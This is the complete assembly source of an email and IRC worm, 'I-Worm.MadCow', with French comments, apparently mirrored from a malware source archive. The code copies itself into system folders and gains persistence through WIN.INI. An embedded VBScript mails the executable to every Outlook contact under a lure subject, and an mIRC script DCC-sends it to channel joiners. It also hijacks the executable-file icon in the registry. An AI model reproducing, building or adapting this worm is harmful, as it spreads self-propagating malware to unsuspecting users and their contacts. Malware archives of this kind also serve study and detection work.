mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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354 lines
14 KiB
NASM
354 lines
14 KiB
NASM
comment * ///// I-Worm.MadCow par PetiK ///// 25/11/2000
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Pour assembler : tasm32 /M /ML madcow.asm
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tlink32 -Tpe -aa -x madcow.obj,,,import32.lib *
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jumps
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locals
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.386
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.model flat,stdcall
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;KERNEL32.dll
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extrn lstrcat:PROC
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extrn WritePrivateProfileStringA:PROC
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extrn CloseHandle:PROC
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extrn CopyFileA:PROC
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extrn CreateDirectoryA:PROC
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extrn CreateFileA:PROC
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extrn DeleteFileA:PROC
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extrn ExitProcess:PROC
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extrn GetModuleFileNameA:PROC
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extrn GetModuleHandleA:PROC
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extrn GetSystemDirectoryA:PROC
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extrn GetWindowsDirectoryA:PROC
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extrn MoveFileA:PROC
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extrn WinExec:PROC
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extrn WriteFile:PROC
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;ADVAPI32.dll
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extrn RegSetValueExA:PROC
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extrn RegCreateKeyExA:PROC
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extrn RegCloseKey:PROC
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.data
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regDisp dd 0
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regResu dd 0
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l dd 0
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p dd 0
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fh dd 0
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octets dd ?
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szOrig db 260 dup (0)
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szOrig2 db 260 dup (0)
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szCopie db 260 dup (0)
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szCopi2 db 260 dup (0)
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szCico db 260 dup (0)
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szWin db 260 dup (0)
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Dossier db "C:\Win32",00h
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fichier db "C:\Win32\Salut.ico",00h
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Copico db "\MSLS.ICO",00h
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Copie db "\Wininet32.exe",00h
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Copie2 db "\MadCow.exe",00h
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BATFILE db "C:\Win32\ENVOIE.BAT",00h
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VBSFILE db "C:\Win32\ENVOIE.VBS",00h
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Winini db "\\WIN.INI",00h
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run db "run",00h
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windows db "windows",00h
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fileini db "C:\Win32\script.ini",00h
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Copie3 db "C:\Win32\MadCow.exe",00h
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script1 db "C:\mirc\script.ini",00h
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script2 db "C:\mirc32\script.ini",00h
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script3 db "C:\program files\mirc\script.ini",00h
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script4 db "C:\program files\mirc32\script.ini",00h
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CLE db "Software\[Atchoum]",00h
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CLE2 db "\exefile\DefaultIcon",00h
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Signature db "IWorm.MadCow par PetiK (c)2000"
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vbsd:
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db 'DEBUT()',0dh,0ah
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db 'Sub DEBUT()',0dh,0ah
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db 'EMAIL()',0dh,0ah
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db 'End Sub',0dh,0ah
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db '',0dh,0ah
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db 'Sub EMAIL()',0dh,0ah
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db 'Set K = CreateObject("Outlook.Application")',0dh,0ah
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db 'Set L = K.GetNameSpace("MAPI")',0dh,0ah
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db 'For Each M In L.AddressLists',0dh,0ah
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db 'If M.AddressEntries.Count <> 0 Then',0dh,0ah
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db 'Set N = K.CreateItem(0)',0dh,0ah
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db 'For O = 1 To M.AddressEntries.Count',0dh,0ah
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db 'Set P = M.AddressEntries(O)',0dh,0ah
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db 'If O = 1 Then',0dh,0ah
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db 'N.BCC = P.Address',0dh,0ah
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db 'Else',0dh,0ah
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db 'N.BCC = N.BCC & "; " & P.Address',0dh,0ah
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db 'End If',0dh,0ah
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db 'Next',0dh,0ah
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db 'N.Subject = "Pourquoi les vaches sont-elles folles ?"',0dh,0ah
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db 'N.Body = "Voila un rapport expliquant la folie des vaches"',0dh,0ah
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db 'Set Q = CreateObject("Scripting.FileSystemObject")',0dh,0ah
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db 'N.Attachments.Add Q.BuildPath(Q.GetSpecialFolder(0),"MadCow.exe")',0dh,0ah
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db 'N.Send',0dh,0ah
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db 'End If',0dh,0ah
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db 'Next',0dh,0ah
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db 'End Sub',0dh,0ah
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vbstaille equ $-vbsd
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batd:
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db '@echo off',0dh,0ah
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db 'start C:\Win32\ENVOIE.VBS',0dh,0ah
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battaille equ $-batd
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inid:
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db "[script]",0dh,0ah
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db "n0=on 1:JOIN:#:{",0dh,0ah
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db "n1= /if ( $nick == $me ) { halt }",0dh,0ah
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db "n2= /.dcc send $nick C:\Win32\MadCow.exe",0dh,0ah
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db "n3=}",00h
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initaille equ $-inid
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include icone.inc
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.code
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DEBUT:
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VERIF: mov eax,offset CLE ; V<>rifie si il existe une cl<63>
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call REG ; [Atchoum] dans HKLM\Software.
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cmp [regDisp],1 ; Si elle n'y est pas,
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jne INIFILE ; on installe les composants
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COPIE: push 0 ;
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call GetModuleHandleA ;
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push 260 ;
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push offset szOrig ;
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push eax ;
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call GetModuleFileNameA ; Copie le fichier original
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push 260 ;
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push offset szCopie ;
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call GetSystemDirectoryA ; dans le dossier SYSTEM
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push offset Copie ;
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push offset szCopie ;
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call lstrcat ; sous le nom de Wininet32.exe
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push 00h ;
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push offset szCopie ;
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push offset szOrig ;
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call CopyFileA ;
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push 260 ; puis
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push offset szCopi2 ;
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call GetWindowsDirectoryA ; <20> nouveau dans le dossier WINDOWS
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push offset Copie2 ;
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push offset szCopi2 ;
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call lstrcat ; sous le nom de MadCow.exe
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push 00h ;
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push offset szCopi2 ;
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push offset szOrig ;
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call CopyFileA ;
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WIN_INI:push 260 ; Pour lancer le programme, on peut
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push offset szWin ;
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call GetWindowsDirectoryA ; utiliser la base de registre ou le
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push offset Winini ;
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push offset szWin ; fichier WIN.INI dans le dossier
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call lstrcat ;
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push offset szWin ; WINDOWS. La d<>marche est simple :
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push offset szCopie ; [windows]
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push offset run ; run="nom du programme"
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push offset windows ;
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call WritePrivateProfileStringA ;
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DIR: push 00h ; On cr<63>e ici C:\Win32
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push offset Dossier ;
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call CreateDirectoryA ;
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EMAIL :push 00000000h ; On va cr<63>er C:\Win32\ENVOIE.VBS
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push 00000080h ;
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push 00000002h ;
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push 00000000h ;
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push 00000001h ;
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push 40000000h ;
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push offset VBSFILE ;
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call CreateFileA ;
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mov [fh],eax ;
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push 00h ;
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push offset octets ;
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push vbstaille ;
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push offset vbsd ;
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push [fh] ;
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call WriteFile ;
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push [fh] ;
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call CloseHandle ;
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EXEC :push 00000000h ; et C:\Win32\ENVOIE.BAT
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push 00000080h ;
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push 00000002h ; qui va <20>x<EFBFBD>cuter ENVOIE.VBS
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push 00000000h ;
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push 00000001h ;
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push 40000000h ;
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push offset BATFILE ;
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call CreateFileA ;
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mov [fh],eax ;
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push 00h ;
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push offset octets ;
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push battaille ;
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push offset batd ;
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push [fh] ;
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call WriteFile ;
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push [fh] ;
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call CloseHandle ;
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jmp EXECBAT ;
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REG: push offset regDisp ;
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push offset regResu ;
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push 0 ;
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push 0F003Fh ;
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push 0 ;
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push 0 ;
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push 0 ;
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push eax ; Software\[Atchoum]
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push 80000002h ; HKEY_LOCAL_MACHINE
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call RegCreateKeyExA ;
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push [regResu] ; met la valeur dans regResu
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call RegCloseKey ;
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ret ;
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INIFILE:push 00000000h ; On va cr<63>er dans C:\Win32
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push 00000001h ;
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push 00000002h ; le fichier script.ini
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push 00000000h ;
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push 00000001h ; en lecture seul.
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push 40000000h ;
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push offset fileini ;
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call CreateFileA ;
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mov [fh],eax ;
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push 00h ;
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push offset octets ;
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push initaille ;
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push offset inid ;
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push [fh] ;
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call WriteFile ;
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push [fh] ;
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call CloseHandle ;
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push 00h ; On va copier ce fichier dans les
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push offset script1 ; r<>pertoire suivant :
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push offset fileini ;
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call CopyFileA ; C:\mirc C:\mirc32
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test eax,eax ; C:\program files\mirc et dans
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jnz COPYWIN ; C:\program files\mirc32
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push 00h ;
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push offset script2 ; Si il arrive <20> se copier dans un
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push offset fileini ; de ces fichier, il va cr<63>er une
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call CopyFileA ; copie du programme dans C:\Win32
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test eax,eax ; le nom MadCow.exe
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jnz COPYWIN ;
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push 00h ;
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push offset script3 ;
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push offset fileini ;
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call CopyFileA ;
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test eax,eax ;
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jnz COPYWIN ;
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push 00h ;
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push offset script4 ;
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push offset fileini ;
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call CopyFileA ;
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test eax,eax ;
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jz ICOFILE ;
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COPYWIN:push 0 ;
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call GetModuleHandleA ;
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push 260 ;
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push offset szOrig2 ;
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push eax ;
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call GetModuleFileNameA ; Copie le fichier original
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push 00h ;
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push offset Copie3 ;
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push offset szOrig2 ;
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call CopyFileA ;
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jmp FIN ;
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ICOFILE:push 00000000h ; On va cr<63>er <20> la base du disque
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push 00000080h ;
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push 00000002h ; dur le fichier Salut.ico
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push 00000000h ;
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push 00000001h ;
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push 40000000h ;
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push offset fichier ;
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call CreateFileA ;
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mov [fh],eax ;
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push 00h ;
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push offset octets ;
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push icotaille ;
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push offset icod ;
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push [fh] ;
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call WriteFile ;
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push [fh] ;
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call CloseHandle ;
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push 260 ; On d<>place le fichier Salut.ico
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push offset szCico ;
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call GetSystemDirectoryA ; dans le dossier SYSTEM sous
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push offset Copico ;
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push offset szCico ; MSLS.ICO
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call lstrcat ;
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push offset szCico ;
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push offset fichier ;
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call MoveFileA ; => c'est fait
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REG2: push offset l ;
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push offset p ;
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push 0 ;
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push 1F0000h + 1 + 2h ;
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push 0 ;
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push 0 ;
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push 0 ;
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push offset CLE2 ; Run
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push 80000000h ; HKEY_CLASSES_ROOT
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call RegCreateKeyExA ;
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push 05h ;
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push offset szCico ; %system%\MSLS.ico
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push 01h ;
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push 0 ;
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push 00h ; VALEUR PAR DEFAUT
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push p ;
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call RegSetValueExA ; CREE UN REGISTRE
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push 0 ;
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call RegCloseKey ; FERME LA BASE DE REGISTRE
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jmp FIN ; PUIS TERMINE LE PROGRAMME
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EXECBAT:push 01h ; On <20>x<EFBFBD>cute le fichier ENVOIE.BAT
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push offset BATFILE ;
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call WinExec ;
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FIN: push 00h ; FIN DU PROGRAMME
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call ExitProcess ;
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end DEBUT
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*************************************************************************
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comment *
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ICONE.INC pour I-Worm.MadCow
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CE FICHIER EST LA FORME HEXADECIMAL DE L'ICONE QUE L'ON VEUT CREER
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*
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icod:
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db 000h,000h,001h,000h,001h,000h,010h,010h,010h,000h,000h,000h,000h,000h
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db 028h,001h,000h,000h,016h,000h,000h,000h,028h,000h,000h,000h,010h,000h
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db 000h,000h,020h,000h,000h,000h,001h,000h,004h,000h,000h,000h,000h,000h
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db 0C0h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,010h,000h
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db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,080h,000h
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db 000h,080h,000h,000h,000h,080h,080h,000h,080h,000h,000h,000h,080h,000h
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db 080h,000h,080h,080h,000h,000h,0C0h,0C0h,0C0h,000h,080h,080h,080h,000h
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db 000h,000h,0FFh,000h,000h,0FFh,000h,000h,000h,0FFh,0FFh,000h,0FFh,000h
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db 000h,000h,0FFh,000h,0FFh,000h,0FFh,0FFh,000h,000h,0FFh,0FFh,0FFh,000h
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db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F0h,000h,000h,000h,000h,000h
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db 000h,00Fh,0F0h,000h,000h,000h,000h,000h,000h,00Fh,0F0h,000h,000h,00Fh
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db 0FFh,000h,000h,00Fh,0F0h,000h,000h,0F0h,000h,0F0h,000h,00Fh,0F0h,000h
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db 000h,0F0h,000h,0F0h,000h,00Fh,0F0h,000h,00Fh,000h,000h,00Fh,000h,00Fh
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db 0F0h,000h,00Fh,000h,00Fh,00Fh,000h,00Fh,0F0h,000h,0F0h,0FFh,000h,0F0h
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db 0F0h,00Fh,0F0h,000h,0F0h,000h,000h,000h,0F0h,00Fh,0F0h,000h,00Fh,000h
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db 000h,00Fh,000h,00Fh,0F0h,000h,00Fh,0FFh,0FFh,0FFh,000h,00Fh,0F0h,000h
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db 0F0h,000h,000h,000h,0F0h,00Fh,0F0h,000h,00Fh,000h,000h,00Fh,000h,00Fh
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db 0F0h,000h,000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
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db 0FFh,0FFh,000h,000h,0FFh,0FFh,07Fh,0FEh,0FFh,0FFh,07Fh,0FEh,0FFh,0FFh
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db 07Eh,03Eh,0FFh,0FFh,07Dh,0DEh,0FFh,0FFh,07Dh,0DEh,0FFh,0FFh,07Bh,0EEh
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db 0FFh,0FFh,07Bh,0AEh,0FFh,0FFh,074h,0D6h,0FFh,0FFh,077h,0F6h,0FFh,0FFh
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db 07Bh,0EEh,0FFh,0FFh,078h,00Eh,0FFh,0FFh,077h,0F6h,0FFh,0FFh,07Bh,0EEh
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db 0FFh,0FFh,07Fh,0FEh,0FFh,0FFh,000h,000h,0FFh,0FFh
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icotaille equ $-icod
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